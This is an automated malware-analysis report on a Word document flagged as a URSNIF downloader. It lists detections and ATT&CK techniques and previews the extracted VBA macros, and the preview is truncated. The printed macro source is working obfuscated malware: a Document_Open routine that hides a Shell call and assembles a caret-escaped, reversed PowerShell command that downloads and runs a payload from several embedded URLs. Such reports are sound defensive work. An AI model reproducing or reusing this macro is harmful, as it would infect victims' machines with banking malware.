MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection name 'Doc.Downloader.URSNIF-6729855-3' further supports this, suggesting a downloader functionality.
Heuristics 5
-
ClamAV: Doc.Downloader.URSNIF-6729855-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.URSNIF-6729855-3
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 5705 bytes |
SHA-256: 0caf1b00892c86c9d2e13cda7e6588fd62c47bb31ad5f6c8b6c16fc8e7e542d6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "vXNnnpAFE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
VarType "HnZ" + "fG"
VarType "TYLH" + "413888414" + "VjwvOwISlTZ" + "RqaZ"
Shell rtmzwW + XkqkWfjl + QIkLcX, Format(vbHide)
VarType "QhpUPunqTmGh" + "ToB"
VarType "3477" + "2736"
VarType "z" + "Jfk"
End Sub
Attribute VB_Name = "foRhoOVIKaMAM"
Function rtmzwW()
On _
Error _
Resume _
Next
VarType "T" + "Wik"
VarType "2246" + "I" + "NtiJ" + "BVwuqoHqQdrAT"
VarType "nzYUQsVzWzcVO" + "FOjoJF"
RbLsGFrLr = Format(Chr(1 + 7 + 3 + 9 + 79)) + "md /V" + "/" + Format(Chr(1 + 4 + 2 + 6 + 54)) + Format(Chr(0 + 2 + 1 + 2 + 29)) + "^s" + "^et " + "6^W^P=" + "^ ^ " + " " + " ^ ^ " + "^ ^ " + " ^ }}" + "^"
VarType "j" + "av"
VarType "BNud" + "8935" + "srkUQOaNV" + "245135162"
VarType "535719876" + "3251"
ONEoDzUqV = "{^h" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "ta" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "};" + "k^a" + "^erb" + ";" + "w^wz$" + "^ " + "me^t^" + "I"
VarType "4211" + "390409561" + "VKOK" + "KiYw"
XRVQAqcaKqc = "-" + "^ek^" + "ovnI^" + ";" + ")w^wz" + "$ " + ",^WPr$"
VarType "V" + "21829927" + "ZEf" + "HFAus"
VarType "vFZzOz" + "uCHlijY"
ToFCjHwIi = "(e^l^i" + "F^d^a" + "^o^ln" + "^woD" + "^." + "^zL" + Format(Chr(1 + 4 + 2 + 6 + 54)) + "^$" + "^{"
VarType "bJwG" + "4151"
VarType "391553800" + "HTujFNsbSUsP" + "1570" + "2923"
TLJELA = "^yrt{)p" + "Sl^$ n^" + "i^ W^" + "Pr" + "$(h" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "aer" + "o" + "f" + "^;^'^ex" + "^"
VarType "MYQSdTSij" + "fS"
VarType "4385" + "S"
VarType "4237" + "2124"
VarType "EjMTHnZzqz" + "290865336"
pkaKBzq = "e^.'" + "+^z^Uw^" + "$+^" + "'^\^" + "'^+" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "i" + "l^" + "b^u^" + "p^:vn^e" + "$=w" + "^wz^$"
rtmzwW = RbLsGFrLr + ONEoDzUqV + XRVQAqcaKqc + ToFCjHwIi + TLJELA + pkaKBzq
VarType "zQm" + "6769" + "f" + "bVP"
VarType "1846" + "HuiIjYjq"
VarType "E" + "PqE"
VarType "514198750" + "EhTt" + "471979682" + "168022499"
End Function
Function XkqkWfjl()
On _
Error _
Resume _
Next
VarType "lvcijSUiwkXba" + "cXilHSPuRZS"
VarType "vGw" + "kKO"
OmwXs = ";^'^6^5" + "^5^'" + " ^" + "=^ ^" + "zUw^$;" + ")'@'(" + "^" + "ti" + "^" + "l" + "pS."
VarType "oN" + "KbtjEmdD"
VarType "4438" + "3057"
VarType "7131" + "366189162" + "sN" + "279"
FfcZsLi = "^'^6" + Format(Chr(1 + 4 + 2 + 6 + 54)) + "t8" + "F^" + "W" + "^f^" + "M/^m" + "o" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "." + "r^eg" + "ni"
VarType "wJFEjHmU" + "9888" + "268482876" + "5897"
VarType "dCMSEZcA" + "nR"
VarType "6657" + "pqd" + "9390" + "5608532"
iJGkHnCWwf = "^l^m" + "i" + "^" + "t//" + ":^"
VarType "rNJ" + "453894351" + "150733913" + "JQU"
VarType "2720" + "Bhwk" + "Jdt" + "JwdoHFs"
VarType "VEjjLao" + "4601"
PHIGCnDRij = "p^" + "t^t" + "h@S^g^" + "zP^" + "bkK^m" + "/rb^" + ".m" + "o" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "^.s" + "arievi^" + "l^"
VarType "130354904" + "7558" + "kAfR" + "bPWEWoCRYfQilI"
VarType "197850394" + "aMfN"
VarType "alDADzXpDMAZP" + "2069"
IQsKBbGbGW = "o//" + ":p^t" + "th@Fx^" + "y" + "K^W" + "DL^" + "1" + "^3/ln.n" + "^worb^"
VarType "uFv" + "9890" + "249925569" + "KPbQtbrh"
VarType "UbupJfollmhp" + "1738"
IVWZlommN = "e" + "v" + "^e^t^s/" + "/:" + "ptth" + "^@redUp" + "Q5^h/s" + "tat^s/" + "m" + "^o" + Format(Chr(1 + 7 + 3 + 9 + 79)) + ".e" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "^i^ps" + "^d^ub" + "^e^l" + Format(Chr(1 + 7 + 3 + 9 + 79)) + "n"
VarType "vwROQShfVS" + "199177120"
VarType "dBzOaKJN" + "397505804" + "343884759" + "455666179"
VarType "oOBNDh" + "322966149"
bQbaz = "u/" + "/" + "^:p" + "t^t^" + "h@GH^ku" + "hk^M/^" + "mo" + Format(Chr(1 + 7 + 3 + 9 + 79)) + ".a" + "mixam"
VarType "C" + "stzMlN" + "GbuC" + "405355211"
VarType "iiz" + "l" + "bjXkrvrPSJ"
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.